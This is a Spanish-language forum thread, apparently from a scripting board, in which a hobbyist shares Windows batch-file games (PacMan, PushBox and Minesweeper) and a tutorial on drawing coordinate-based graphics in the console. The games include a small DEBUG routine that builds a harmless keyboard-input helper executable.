if !%~1!==%Ghost% (
set %~1=.
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!))

if "!NMovY!"==" " (
if !%~1!==%Player% (
set %~1=
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
if !%~1!==%Ghost% (
set %~1=
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!))


if "!NMovY!"=="%Box%" (
if !%~1!==%Player% (
set %~1=
set /a Points+=5
set Cki=True
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
if !%~1!==%Ghost% (
set %~1=.
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!)))

if !%~1!==%Player% set /a Movs+=1
Goto :Eof


:MovGhost
set NGG=0
for %%z in (%Ghosts%) do (
set /a NG+=1
set Ghost!NG!=%%z)
:MovGhost2
set /a NGG+=1
set /a GoMov=%random:~-1% %% 4
if "!GoMov!"=="0" Call :MovX+ %%Ghost!NGG!%% Ghost!NGG!
if "!GoMov!"=="1" Call :MovX- %%Ghost!NGG!%% Ghost!NGG!
if "!GoMov!"=="2" Call :MovY+ %%Ghost!NGG!%% Ghost!NGG!
if "!GoMov!"=="3" Call :MovY- %%Ghost!NGG!%% Ghost!NGG!
)
if "%NGG%"=="4" (
set Ghosts=%Ghost1%,%Ghost2%,%Ghost3%,%Ghost4%
set NG=0
Goto :Eof)
Goto :MovGhost2

:UnGhost
set Ghosts=!Ghosts:%~1=X8Y7!
for %%g in (%Ghosts%) do (set %%g=%Ghost%)
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win

:End
msg * Gracias por Jugar PacMan v1 by :: SmartGenius::
endlocal
exit

::Niveles del Juego PacMan
::Coordenadas Cartesianas
::Coded by :: SmartGenius ::

::Inicio Nivel 1
:Level1
set Movs=0
set Points=0
set X2Y15=%Player%
set CurPos=X2Y15
set Init=X2Y15
set Lives=3
set Cki=False
set Dir=D
set Ghosts=X2Y11,X6Y9,X6Y7,X10Y6
set Boxes=X2Y1,X2Y9,X14Y1,X14Y9,X14Y15
for %%g in (%Ghosts%) do (set %%g=%Ghost%)
for %%h in (%Boxes%) do (set %%h=%Box%)
for /l %%i in (0,1,16) do (
set X0Y%%i=%Bound%
set X1Y%%i=%Bound%
set X15Y%%i=%Bound%
set X16Y%%i=%Bound%
set X%%iY0=%Bound%
set X%%iY16=%Bound%)
for %%j in (3,4,5,6,10,11,12,13) do (
set X%%jY2=%Bound%
set X%%jY3=%Bound%
set X%%jY10=%Bound%
set X%%jY14=%Bound%)
for %%k in (X8Y1,X8Y2,X8Y3,X3Y5,X3Y6,X3Y7,X3Y8,X5Y5,X5Y6,X5Y7,X5Y8,X6Y5,X7Y5) do (set %%k=%Bound%)
for %%l in (X6Y8,X7Y8,X8Y8,X9Y8,X10Y8,X9Y5,X10Y5,X11Y5,X11Y6,X11Y7,X11Y8,X13Y5) do (set %%l=%Bound%)
for %%m in (X13Y6,X13Y7,X13Y8,X7Y10,X9Y10,X3Y12,X3Y13,X5Y12,X6Y12,X7Y12,X8Y12) do (set %%m=%Bound%)
for %%n in (X9Y12,X10Y12,X11Y12,X8Y13,X8Y14,X13Y12,X13Y13) do (set %%n=%Bound%)
for %%o in (X6Y6,X7Y6,X8Y5,X8Y6,X9Y6,X7Y7,X8Y7,X9Y7,X10Y7) do (set %%o= )
Goto :Eof

::Fin Nivel 1

::Fin de Coordenadas

:Logo
color 0a
cls
echo.
echo. °°°°°°°°°°°°°°°°°°°°°°
echo. °°°°°°°°°°°°°°°°°°°°°°
echo. °ÛÛÛÛÛ°ÛÛÛÛÛ°°ÛÛÛÛÛÛ°°
echo. °Û°°°Û°Û°°°Û°ÛÛÛÛÛÛ°°°
echo. °Û°°°Û°Û°°°Û°ÛÛÛÛ°°°°°
echo. °ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛ°°°°°°
echo. °Û°°°°°Û°°°Û°ÛÛÛÛ°°°°°
echo. °Û°°°°°Û°°°Û°ÛÛÛÛÛÛ°°°
echo. °Û°°°°°Û°°°Û°°ÛÛÛÛÛÛ°°
echo. °°°°°°°°°°°°°°°°°°°°°°
echo. °°ÛÛ°ÛÛ°ÛÛÛÛÛ°Û°°°°Û°°
echo. °°Û°Û°Û°Û°°°Û°ÛÛ°°°Û°°
echo. °°Û°°°Û°Û°°°Û°Û°Û°°Û°°
echo. °°Û°°°Û°ÛÛÛÛÛ°Û°°Û°Û°°
echo. °°Û°°°Û°Û°°°Û°Û°°Û°Û°°
echo. °°Û°°°Û°Û°°°Û°Û°°°ÛÛ°°
echo. °°Û°°°Û°Û°°°Û°Û°°°°Û°°
echo. °°°°°°°°°°°°°°°°°°°°°°
echo. °°°°°°°°°°°°°°°°°°°°°°
echo. °°°: SmartGenius :°°°°
echo. °°°  Corp.  2009  °°°°
echo. °°°°°°°°°°°°°°°°°°°°°°
ping -n 3 0.0.0.0 >nul
color 0e
Goto :Eof


:NoKey
@mode con cols=30 lines=20
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  CHOICE.COM
echo.
echo  Por favor descargue una copia del Comando
echo  CHOICE de Internet...
echo.
pause
exit


Con esto queda demostrado que se pueden hacer bastantes cosas en Batch, solo hace falta imaginacion y algo de tiempo.... ;)

Cualquier duda, comentario o sugerencia acerca del codigo hacerla por favor... :)

Saludos.
#15
Siguiendo con la Aplicacion del Concepto de Coordenadas y Graficos en Batch Desarrollado por Mi... 8)...pues les vengo a presentar un Nuevo Juego que he ideado...para su Deleite.... :D :D

PushBox v 1 - by Smart



Se trata de un Juego en el cual controlas a un Jugador en una Especie de Laberinto, el cual tienes que guiar y hacer que Empuje (Push) unas Cajas (Box) hasta hacerlas llegar a unas posiciones predeterminadas, todo esto hacerlo en la menor cantidad de Movimientos.



Controles

Arriba:     Flecha Arriba
Abajo:     Flecha Abajo
Derecha:  Flecha Derecha
Izquierda: Flecha Izquierda
Salir:        Tecla "X"




Codigo:
Código (dos) [Seleccionar]
  @echo off
  @title PushBox v 1
  @mode con cols=21 lines=18
  @::Another Batch Game
  @::by ::SmartGenius ::

if not exist "keyboard.exe" (Goto :NoKey)

:load
call :Logo
setlocal enabledelayedexpansion
set LimX=12
set LimY=10
set NLevels=5

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
set Player=
set Bound=Û
set Box=*
set Push=o

:Levels
set /a L+=1
Call :Level%L%
Call :Graphic
set P%L%=%Movs%
if "%EOG%"=="True" Goto :End
if "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
:First
cls
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
echo. PushBox v1 by Smart
echo.
echo.  Nivel:%L%   Movs:%Movs%
echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%f in (0,1,%LimY%) do (echo.   º!Lin_%%f!º)
echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="88" (set EOG=True&Goto :Eof)
if "%errorlevel%"=="120" (set EOG=True&Goto :Eof)
Call :Check%L%
if "%NXL%"=="True" (Goto :Eof)
Goto :Graphic

::Logica de Movimiento en el Plano
::Coded by :: SmartGenius ::

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
set /a MovXX=%%p+2
call set NMovX=%%X!MovX!Y%%q%%
call set NMovXX=%%X!MovXX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"==" " (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"=="%Box%" (
if "!NMovXX!"=="%Bound%" (Goto :Eof)
if "!NMovXX!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set X!MovXX!Y%%q=%Box%
set CurPos=X!MovX!Y%%q))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
set /a MovXX=%%p-2
call set NMovX=%%X!MovX!Y%%q%%
call set NMovXX=%%X!MovXX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"==" " (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"=="%Box%" (
if "!NMovXX!"=="%Bound%" (Goto :Eof)
if "!NMovXX!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set X!MovXX!Y%%q=%Box%
set CurPos=X!MovX!Y%%q))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
set /a MovYY=%%q+2
call set NMovY=%%X%%pY!MovY!%%
call set NMovYY=%%X%%pY!MovYY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"==" " (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"=="%Box%" (
if "!NMovYY!"=="%Bound%" (Goto :Eof)
if "!NMovYY!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set X%%pY!MovYY!=%Box%
set CurPos=X%%pY!MovY!))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q-1
set /a MovYY=%%q-2
call set NMovY=%%X%%pY!MovY!%%
call set NMovYY=%%X%%pY!MovYY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"==" " (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"=="%Box%" (
if "!NMovYY!"=="%Bound%" (Goto :Eof)
if "!NMovYY!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set X%%pY!MovYY!=%Box%
set CurPos=X%%pY!MovY!))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win
cls
echo.   Introduce tu
echo.      Nombre
echo.
set /p Nom=">>"
if not defined Nom Goto :Win
echo.
echo. Felicitaciones !
echo. %Nom%
echo.
for /l %%v in (1,1,%NLevels%) do (
echo  Nivel: %%v Movs: !P%%v!)
pause >nul

:End
msg * Gracias por Jugar PushBox v1 by :: SmartGenius::
endlocal
exit

::Niveles del Juego PushBox
::Coordenadas Cartesianas
::Coded by :: SmartGenius ::

::Inicio Nivel 1
:Level1
set Movs=0
set X4Y2=%Player%
set CurPos=X4Y2
set Pushes=X5Y2,X6Y2,X7Y2
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X4Y4,X6Y5,X3Y6) do (set %%h=%Box%)
for %%i in (X2Y1,X3Y1,X4Y1,X5Y1,X6Y1,X7Y1,X8Y1,X2Y2,X8Y2,X2Y3,X6Y3,X7Y3,X8Y3,X9Y3) do (set %%i=%Bound%)
for %%j in (X1Y4,X2Y4,X3Y4,X9Y4,X1Y5,X5Y5,X7Y5,X9Y5,X1Y6,X5Y6,X9Y6,X1Y7,X5Y7,X6Y7) do (set %%j=%Bound%)
for %%k in (X7Y7,X8Y7,X9Y7,X1Y8,X2Y8,X3Y8,X4Y8,X5Y8,X6Y8) do (set %%k=%Bound%)
for %%l in (X3Y2,X3Y3,X4Y3,X5Y3,X5Y4,X6Y4,X7Y4,X8Y4,X2Y5,X3Y5) do (set %%l= )
for %%m in (X4Y5,X8Y5,X2Y6,X4Y6,X6Y6,X7Y6,X8Y6,X2Y7,X3Y7,X4Y7) do (set %%m= )
Goto :Eof

:Check1
set NXL=False
if "!X5Y2!"=="%Box%" (
if "!X6Y2!"=="%Box%" (
if "!X7Y2!"=="%Box%" set NXL=True))
Goto :Eof
::Fin Nivel 1

::Inicio Nivel 2
:Level2
set Movs=0
set X4Y2=%Player%
set CurPos=X4Y2
set Pushes=X3Y5,X3Y6,X3Y7
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X5Y3,X4Y6,X7Y7) do (set %%h=%Box%)
for %%i in (X3Y1,X4Y1,X5Y1,X6Y1,X3Y2,X6Y2,X7Y2,X8Y2,X3Y3,X8Y3,X2Y4,X3Y4,X4Y4,X6Y4) do (set %%i=%Bound%)
for %%j in (X8Y4,X9Y4,X2Y5,X4Y5,X6Y5,X9Y5,X2Y6,X7Y6,X9Y6,X2Y7,X9Y7,X2Y8,X3Y8,X4Y8) do (set %%j=%Bound%)
for %%k in (X5Y8,X6Y8,X7Y8,X8Y8,X9Y8) do (set %%k=%Bound%)
for %%l in (X5Y2,X4Y3,X6Y3,X7Y3,X5Y4,X7Y4,X5Y5,X7Y5) do (set %%l= )
for %%m in (X8Y5,X5Y6,X6Y6,X8Y6,X4Y7,X5Y7,X6Y7,X8Y7) do (set %%m= )
Goto :Eof

:Check2
set NXL=False
if "!X3Y5!"=="%Box%" (
if "!X3Y6!"=="%Box%" (
if "!X3Y7!"=="%Box%" set NXL=True))
Goto :Eof
::Fin Nivel 2

::Inicio Nivel 3
:Level3
set Movs=0
set X3Y5=%Player%
set CurPos=X3Y5
set Pushes=X3Y6,X4Y6,X3Y7,X4Y7
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X3Y4,X5Y5,X8Y5,X7Y6) do (set %%h=%Box%)
for %%i in (X2Y2,X3Y2,X4Y2,X5Y2,X6Y2,X7Y2,X8Y2,X2Y3,X8Y3,X9Y3,X10Y3,X1Y4,X2Y4,X4Y4) do (set %%i=%Bound%)
for %%j in (X5Y4,X6Y4,X10Y4,X1Y5,X10Y5,X1Y6,X5Y6,X9Y6,X10Y6,X1Y7,X2Y7,X5Y7,X9Y7) do (set %%j=%Bound%)
for %%k in (X2Y8,X3Y8,X4Y8,X5Y8,X6Y8,X7Y8,X8Y8,X9Y8) do (set %%k=%Bound%)
for %%l in (X3Y3,X4Y3,X5Y3,X6Y3,X7Y3,X7Y4,X8Y4,X9Y4,X2Y5,X4Y5) do (set %%l= )
for %%m in (X6Y5,X7Y5,X9Y5,X2Y6,X6Y6,X8Y6,X6Y7,X7Y7,X8Y7) do (set %%m= )
Goto :Eof

:Check3
set NXL=False
if "!X3Y6!"=="%Box%" (
if "!X3Y7!"=="%Box%" (
if "!X4Y6!"=="%Box%" (
if "!X4Y7!"=="%Box%" set NXL=True)))
Goto :Eof
::Fin Nivel 3

::Inicio Nivel 4
:Level4
set Movs=0
set X4Y4=%Player%
set CurPos=X4Y4
set Pushes=X7Y3,X7Y4,X7Y5,X7Y6
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X5Y3,X6Y3,X6Y4,X5Y5) do (set %%h=%Box%)
for %%i in (X3Y1,X4Y1,X5Y1,X6Y1,X3Y2,X6Y2,X7Y2,X8Y2,X3Y3,X8Y3,X3Y4,X8Y4) do (set %%i=%Bound%)
for %%j in (X3Y5,X8Y5,X3Y6,X8Y6,X3Y7,X4Y7,X5Y7,X6Y7,X7Y7,X8Y7,X5Y6) do (set %%j=%Bound%)
for %%l in (X4Y2,X5Y2,X4Y3,X5Y4,X4Y5,X6Y5,X4Y6,X6Y6) do (set %%l= )
Goto :Eof

:Check4
set NXL=False
if "!X7Y3!"=="%Box%" (
if "!X7Y4!"=="%Box%" (
if "!X7Y5!"=="%Box%" (
if "!X7Y6!"=="%Box%" set NXL=True)))
Goto :Eof

::Inicio Nivel 5
:Level5
set Movs=0
set X8Y6=%Player%
set CurPos=X8Y6
set Pushes=X4Y5,X5Y5,X6Y5,X7Y5
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X2Y4,X3Y5,X8Y4,X9Y5) do (set %%h=%Box%)
for %%i in (X1Y2,X2Y2,X3Y2,X4Y2,X7Y2,X8Y2,X9Y2,X10Y2,X11Y2,X0Y3,X1Y3,X4Y3) do (set %%i=%Bound%)
for %%j in (X7Y3,X11Y3,X0Y4,X4Y4,X5Y4,X6Y4,X7Y4,X11Y4,X0Y5,X11Y5,X0Y6,X1Y6) do (set %%j=%Bound%)
for %%k in (X6Y6,X10Y6,X11Y6,X1Y7,X2Y7,X3Y7,X4Y7,X5Y7,X6Y7,X7Y7,X8Y7,X9Y7) do (set %%k=%Bound%)
for %%l in (X2Y3,X3Y3,X8Y3,X9Y3,X10Y3,X1Y4,X3Y4,X9Y4,X10Y4,X1Y5,X2Y5,X8Y5) do (set %%l= )
for %%m in (X10Y5,X2Y6,X3Y6,X4Y6,X5Y6,X7Y6,X9Y6) do (set %%m= )
Goto :Eof

:Check5
set NXL=False
if "!X4Y5!"=="%Box%" (
if "!X5Y5!"=="%Box%" (
if "!X6Y5!"=="%Box%" (
if "!X7Y5!"=="%Box%" set NXL=True)))
Goto :Eof
::Fin Nivel 5

::Fin de Coordenadas

:Logo
cls
echo.
echo. °°°°°°°°°°°°°°°°°°°
echo. °°ÛÛÛ°Û°Û°ÛÛÛ°Û°°Û°
echo. °°Û°Û°Û°Û°Û°°°Û°°Û°
echo. °°ÛÛÛ°Û°Û°ÛÛÛ°ÛÛÛÛ°
echo. °°Û°°°Û°Û°°°Û°Û°°Û°
echo. °°Û°°°ÛÛÛ°ÛÛÛ°Û°°Û°
echo. °°°°°°°°°°°°°°°°°°°
echo. °°°ÛÛÛ°°ÛÛÛ°Û°°°Û°°
echo. °°°Û°°Û°Û°Û°°Û°Û°°°
echo. °°°ÛÛÛ°°Û°Û°°°Û°°°°
echo. °°°Û°°Û°Û°Û°°Û°Û°°°
echo. °°°ÛÛÛ°°ÛÛÛ°Û°°°Û°°
echo. °°°°°°°°°°°°°°°°°°°
echo. °°: SmartGenius :°°
echo. °°  Corp.  2009  °°
echo. °°°°°°°°°°°°°°°°°°°
ping -n 3 0.0.0.0 >nul
Goto :Eof

::::::::::::::::::::
::Records by Smart::
::                ::
::Nivel 1: 70 Movs::
::Nivel 2: 50 Movs::
::Nivel 3:116 Movs::
::Nivel 4: 25 Movs::
::Nivel 5: 63 Movs::
::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::::::::::
::El Siguiente Codigo se encarga de Crear el
::archivo necesario para recibir entradas desde
::el teclado..... KEYBOARD.EXE
::Creditos a Carlitos ;)                     
::::::::::::::::::::::::::::::::::::::::::::::::
:NoKey
  @mode con cols=30 lines=20
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  A Continuacion sera creado...
call :keyboard
echo.
echo  Archivo Creado Satisfactoriamente...
echo  Por favor reinicie el Script.
echo.
pause
exit

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


El Juego Consta de 5 Niveles con diferente Grado de Dificultad en cuanto a la Resolucion del Puzzle, y pueden agregarse mas Niveles.....siempre y cuando esten bien diseñados y cumplan con la logica del juego. Pronto les Traere mas Niveles para Este mismo Juego.... :D :D

Los Records Para los Niveles Son:

::Records by Smart
::Nivel 1: 70 Movs
::Nivel 2: 50 Movs
::Nivel 3:116 Movs
::Nivel 4: 25 Movs
::Nivel 5: 63 Movs


Traten de Hacer su mejor Esfuerzo en resolverlos..... ;D.......de seguro les gustara, acepto comentarios, dudas y sugerencias..... ;D

Un Saludo.  ;)

PD: Quien Dijo que no se podia Jugar en Batch ??....... ::) ::)
PD2: El Limite es tu Imaginacion !!!
#16
Bueno, tomando como base lo explicado de Graficas y Coordenadas en Batch:

http://foro.elhacker.net/scripting/graficos_y_coordenadas_en_batch_by_smartgenius-t241895.0.html

Y lo otro que habian dicho por ahi de que en "Batch no se podia Jugar !!! "  ::)  ::)  ::) ..... ;D

Este es un Ejemplo Practico y a la vez divertido de la Aplicacion de las Coordenadas en el Dibujo de Graficas en la Consola del CMD, y el uso de Movimiento para las Mismas.

Os traigo el Clasico Juego del Buscaminas en su Version 1, creado totalmente por Mi.  :D


Buscaminas v 1 - By SmartGenius


  @echo off
  @title Buscaminas
  @mode con cols=18 lines=13
  @::MineSweeper v 1
  @::Coded by ::SmartGenius::

if not exist "keyboard.exe" (Goto :NoKey)

:load
setlocal enabledelayedexpansion
set LimX=9
set LimY=9
set IniX=0
set IniY=0
set MovX=0
set MovY=0

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=Û
))
for /l %%m in (0,1,9) do (set M%%m=X!random:~-1!Y!random:~-1!)
set X0Y0=
set Last=Û
set Curpos=X0Y0
Goto :First

:Graphic
Call :Clear
:First
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!
))
echo.
echo. MineSweeper v 1
echo.
for /l %%f in (0,1,%LimY%) do (echo.   !Lin_%%f!)
if "%EOG%"=="True" Goto :End
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="13" (call :Check "%CurPos%")
if "%errorlevel%"=="88" (msg * Gracias por Jugar Buscaminas v1 by SmartGenius&exit)
if "%errorlevel%"=="120" (msg * Gracias por Jugar Buscaminas v1 by SmartGenius&exit)
Goto :Graphic

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%LimX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%IniX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%LimY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q+1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%IniY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q-1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:Check
for /l %%h in (0,1,9) do (
if "%~1"=="!M%%h!" (
set %~1=
set EOG=True
Goto :Eof
))
set %~1=°
Goto :Eof

:End
msg * Perdiste !
pause>nul
exit

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:NoKey
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  A Continuacion sera creado...
call :keyboard
echo.
echo  Archivo Creado Satisfactoriamente...
echo  Por favor reinicie el Script.
echo.
pause
exit

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Mueven su figurita con las flechas de direccion (arriba, abajo, izquierda, derecha...respectivamente) y para descubrir una casilla presionan Enter. Para Salir del Juego presionan la tecla X

La primera vez que lo ejecuten se les creara el Archivo KEYBOARD.EXE que es el encargado de recibir cada una de las ordenes que le damos mediente el teclado...

Espero que les guste, y como les digo....solo la imaginacion es el Limite !!!!!  :o

Un Saludo  ;)
#17
Para este tema tomaremos como base la explicacion del Plano Cartesiano y el significado de Coordenadas:

http://es.wikipedia.org/wiki/Coordenadas_cartesianas

Luego lo que quiero llegar a representar con esto es el Cuadrante IV del Sistema de Coordenadas Plano, en el cual se especifican pares de coordenadas para los ejes X & Y de la forma X=0 y Y=0. (X0Y0)

Como tomamos como base el cuadrante IV las coordenadas que demos seran dibujadas de la siguiente forma:

Ej: X1Y0,X5Y6

    0  1  2  3  4  5  6  7  8  9  10
  .---------------------------------------------->
1 |    X
2 |   
3 |
4 |
5 |
6 |                  X
7 |
  \/


Ahora, el objetivo es que mediante coordenadas podamos realizar dibujos en la consola, un script en el cual se definen las dimensiones de los dos ejes y luego se pasan las coordenadas que tomaran valor, para formar cualquier figura.

Graphical:
@echo off
@::Graphical Maths
@::Coded by SmartGenius

if ["%1"]==[""] Echo Parametros Insuficientes!&Goto :Eof
if ["%2"]==[""] Echo Parametros Insuficientes!&Goto :Eof
if ["%~3"]==[""] Echo No ha Establecido Coordenadas!&Goto :Eof

:load
setlocal enabledelayedexpansion
set /a LimX=%1
set /a LimY=%2

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
for %%c in (%~3) do (set %%c=Û)
Goto :Graphic

:Graphic
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
endlocal
Goto :Eof


La forma de llamar al Script es pasandole tres parametros correspondientes a:

%1 = Longitud del Eje X
%2 = Longitud del Eje Y
"%3" = Pares de Coordenadas, separadas por comas. (todo entre comillas)


Ej: (todo el parametro de coordenadas en una sola linea  por favor ;) )
@echo off
call Graphics 22 6 "x1y1,x2y1,x3y1,x5y1,x6y1,x8y1,x9y1,x11y1,x12y1,x13y1,x15y1,x16y1,x17y1,x19y1,x20y1,x21y1,
x1y2,x5y2,x7y2,x9y2,x11y2,x13y2,x15y2,x17y2,x20y2,x1y3,x2y3,x3y3,x5y3,x9y3,x11y3,x12y3,x13y3,x15y3,x16y3,
x20y3,x3y4,x5y4,x9y4,x11y4,x13y4,x15y4,x17y4,x20y4,x1y5,x2y5,x3y5,x5y5,x9y5,x11y5,x13y5,x15y5,x17y5,x20y5"
pause
exit


Con eso llamamos al Script que nos crea un Plano cuyo EjeX sera de 22, el EjeY sera de 6 y Cuyas coordenadas dan como Resultado:


Esto para cuando se trabaja desde la consola, pero tambien desde un codigo .BAT externo puede adaptarse al tamaño del BUFER actual del CMD, el cual es modificado mediante el comando MODE de la forma MODE CON COLS=XX LINES=XX

@echo off
@::Graphical Maths
@::Coded by Smart

if ["%1"]==[""] Echo Parametros Insuficientes!&Goto :Eof
if ["%2"]==[""] Echo Parametros Insuficientes!&Goto :Eof
if ["%~3"]==[""] Echo No ha Establecido Coordenadas!&Goto :Eof

:load
setlocal enabledelayedexpansion
for /f "tokens=2" %%x in ('mode ^|find "Col"') do (set /a LimX=%%x-3)
for /f "tokens=2" %%y in ('mode ^|find "nea"') do (set /a LimY=%%y-3)

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°
))
for %%c in (%~3) do (set %%c=Û)
Goto :Graphic

:Graphic
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!
))
echo.
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
pause >nul
endlocal
Goto :Eof


Las primeras lienas del FOR se encargaran de leer el tamaño de BUFER definido mediante MODE, y adaptar el plano a estas longitudes.

Todo esto tiene gran aplicacion al momento de generar graficos en la Consola del CMD, sin estar definiendo gran cantidad de variables como lo hacia en codigo anteriores mios, sino que las variables se definen dinamicamente y no necesitan tantas lineas de Codigo.
